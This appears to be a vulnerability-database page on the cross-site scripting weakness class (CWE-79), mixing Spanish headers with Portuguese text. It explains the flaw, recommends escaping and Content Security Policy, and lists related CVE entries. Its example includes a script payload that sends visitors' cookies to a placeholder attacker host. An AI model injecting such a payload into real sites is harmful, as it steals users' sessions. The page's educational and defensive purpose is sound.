Fallos del tipo CWE-79

28.747 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-26093MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.7%CVE-2024-36147MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2021-36092MEDIUMXSS attack using special link in emailEPSS 0.7%CVE-2024-36168MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2026-41043MEDIUMApache ActiveMQ, Apache ActiveMQ Web: ActiveMQ Web Console - XSS vulnerability when browsing queuesEPSS 0.7%CVE-2021-43657MEDIUMA Stored Cross-site scripting (XSS) vulnerability via MAster.php in Sourcecodetester Simple Client Management System (SCMS) 1.0 allows remotEPSS 0.7%CVE-2022-35224—SAP Enterprise Portal - versions 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently encode user-controlled inputs, resulting inEPSS 0.7%CVE-2020-3460MEDIUMCisco Data Center Network Manager Cross-Site Scripting VulnerabilityEPSS 0.7%CVE-2022-31133MEDIUMCross site scripting in HumHubEPSS 0.7%CVE-2021-1158MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2021-1151MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.7%CVE-2021-32616HIGHImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in 1CDNEPSS 0.7%CVE-2021-36845MEDIUMYITH Maintenance Mode (WordPress plugin) <= 1.3.8 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.7%CVE-2020-8160—MendixSSO <= 2.1.1 contains endpoints that make use of the openid handler, which is suffering from a Cross-Site Scripting vulnerability via EPSS 0.7%CVE-2026-86712HIGHSiYuan before 3.8.2 Remote Code Execution via ClipboardEPSS 0.7%CVE-2026-41610MEDIUMVisual Studio Code Security Feature Bypass VulnerabilityEPSS 0.7%CVE-2023-3837LOWDedeBIZ sys_sql_query.php cross site scriptingEPSS 0.7%CVE-2022-0698MEDIUMMicroweber version 1.3.1 allows an unauthenticated user to perform an account takeover via an XSS on the 'select-file' parameter.EPSS 0.7%CVE-2024-33893MEDIUMCosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 are vulnerable to XSS when displaying the logs due to imEPSS 0.7%CVE-2022-45150MEDIUMA reflected cross-site scripting vulnerability was discovered in Moodle. This flaw exists due to insufficient sanitization of user-supplied EPSS 0.7%